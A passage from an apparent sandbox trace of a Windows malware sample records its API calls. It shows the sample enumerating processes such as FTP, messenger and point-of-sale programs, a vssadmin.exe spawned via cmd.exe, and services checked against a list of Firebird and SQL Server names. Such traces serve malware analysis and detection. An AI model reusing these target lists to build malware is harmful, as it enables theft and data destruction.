th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0064.640] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0064.640] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0064.640] lstrlenW (lpString="icq.exe") returned 7 [0064.640] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0064.641] lstrlenW (lpString="leechftp.exe") returned 12 [0064.641] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0064.641] lstrlenW (lpString="ncftp.exe") returned 9 [0064.641] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0064.641] lstrlenW (lpString="notepad.exe") returned 11 [0064.641] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0064.642] lstrlenW (lpString="operamail.exe") returned 13 [0064.642] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0064.642] lstrlenW (lpString="pidgin.exe") returned 10 [0064.642] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0064.814] lstrlenW (lpString="scriptftp.exe") returned 13 [0064.814] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0064.815] lstrlenW (lpString="skype.exe") returned 9 [0064.815] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0064.815] lstrlenW (lpString="smartftp.exe") returned 12 [0064.815] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0064.816] lstrlenW (lpString="thunderbird.exe") returned 15 [0064.816] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0064.816] lstrlenW (lpString="totalcmd.exe") returned 12 [0064.816] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0064.817] lstrlenW (lpString="trillian.exe") returned 12 [0064.817] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0064.817] lstrlenW (lpString="webdrive.exe") returned 12 [0064.817] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0064.818] lstrlenW (lpString="whatsapp.exe") returned 12 [0064.818] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0064.818] lstrlenW (lpString="winscp.exe") returned 10 [0064.818] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0064.819] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0064.819] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0064.819] lstrlenW (lpString="active-charge.exe") returned 17 [0064.819] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0064.820] lstrlenW (lpString="accupos.exe") returned 11 [0064.820] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0064.820] lstrlenW (lpString="afr38.exe") returned 9 [0064.821] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0064.821] lstrlenW (lpString="aldelo.exe") returned 10 [0064.821] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0064.822] lstrlenW (lpString="ccv_server.exe") returned 14 [0064.822] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0064.822] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0064.822] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0064.822] lstrlenW (lpString="creditservice.exe") returned 17 [0064.823] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0064.823] lstrlenW (lpString="edcsvr.exe") returned 10 [0064.823] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0064.823] lstrlenW (lpString="fpos.exe") returned 8 [0064.824] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0064.824] lstrlenW (lpString="isspos.exe") returned 10 [0064.824] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0064.824] lstrlenW (lpString="mxslipstream.exe") returned 16 [0064.825] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0064.825] lstrlenW (lpString="omnipos.exe") returned 11 [0064.825] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0064.825] lstrlenW (lpString="spcwin.exe") returned 10 [0064.825] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0064.826] lstrlenW (lpString="spgagentservice.exe") returned 19 [0064.826] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0064.826] lstrlenW (lpString="utg2.exe") returned 8 [0064.826] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0064.827] lstrlenW (lpString="nj_sh.exe") returned 9 [0064.827] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0064.827] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0064.827] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0064.828] lstrlenW (lpString="telecommunications.exe") returned 22 [0064.828] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0064.828] lstrlenW (lpString="sound banking.exe") returned 17 [0064.828] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0064.829] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0064.829] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0064.829] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0064.829] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0064.830] lstrlenW (lpString="taskhost.exe") returned 12 [0064.830] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0064.830] lstrlenW (lpString="dllhost.exe") returned 11 [0064.830] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0064.831] lstrlenW (lpString="dllhost.exe") returned 11 [0064.831] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0064.831] lstrlenW (lpString="winhost.exe") returned 11 [0064.831] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0064.832] lstrlenW (lpString="cmd.exe") returned 7 [0064.832] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.832] lstrlenW (lpString="conhost.exe") returned 11 [0064.832] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0064.833] lstrlenW (lpString="vssadmin.exe") returned 12 [0064.833] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0064.833] CloseHandle (hObject=0x198) returned 1 [0064.833] Sleep (dwMilliseconds=0x1f4) [0065.839] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fcf8 [0065.839] EnumServicesStatusExW (in: hSCManager=0x52fcf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0065.840] GetLastError () returned 0xea [0065.840] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x123e) returned 0x3f34f98 [0065.840] EnumServicesStatusExW (in: hSCManager=0x52fcf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f34f98, cbBufSize=0x123e, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f34f98, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0065.841] CloseServiceHandle (hSCObject=0x52fcf8) returned 1 [0065.841] lstrlenW (lpString="Appinfo") returned 7 [0065.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0065.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0065.841] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0065.841] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0065.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0065.842] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0065.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0065.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0065.842] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0065.842] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0065.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0065.842] lstrlenW (lpString="AudioSrv") returned 8 [0065.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0065.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0065.842] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0065.842] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0065.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0065.842] lstrlenW (lpString="BFE") returned 3 [0065.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0065.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0065.842] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0065.842] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0065.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0065.842] lstrlenW (lpString="CryptSvc") returned 8 [0065.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0065.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0065.842] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0065.842] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0065.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0065.842] lstrlenW (lpString="CscService") returned 10 [0065.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0065.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0065.843] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0065.843] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0065.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0065.843] lstrlenW (lpString="DcomLaunch") returned 10 [0065.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0065.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0065.843] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0065.843] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0065.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0065.843] lstrlenW (lpString="Dhcp") returned 4 [0065.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0065.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0065.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0065.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0065.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0065.843] lstrlenW (lpString="Dnscache") returned 8 [0065.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0065.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0065.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0065.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0065.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0065.843] lstrlenW (lpString="DPS") returned 3 [0065.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0065.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0065.844] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0065.844] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0065.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0065.844] lstrlenW (lpString="eventlog") returned 8 [0065.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0065.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0065.844] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0065.844] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0065.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0065.844] lstrlenW (lpString="EventSystem") returned 11 [0065.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0065.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0065.844] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0065.844] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0065.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0065.844] lstrlenW (lpString="gpsvc") returned 5 [0065.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0065.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0065.845] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0065.845] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0065.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0065.845] lstrlenW (lpString="iphlpsvc") returned 8 [0065.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0065.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0065.845] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0065.845] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0065.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0065.845] lstrlenW (lpString="LanmanServer") returned 12 [0065.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0065.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0065.845] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0065.845] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0065.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0065.845] lstrlenW (lpString="LanmanWorkstation") returned 17 [0065.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0065.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0065.845] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0065.845] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0065.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0065.845] lstrlenW (lpString="lmhosts") returned 7 [0065.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0065.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0065.845] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0065.845] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0065.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0065.846] lstrlenW (lpString="MMCSS") returned 5 [0065.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0065.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0065.846] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0065.846] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0065.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0065.846] lstrlenW (lpString="MpsSvc") returned 6 [0065.846] lstrcmpiW 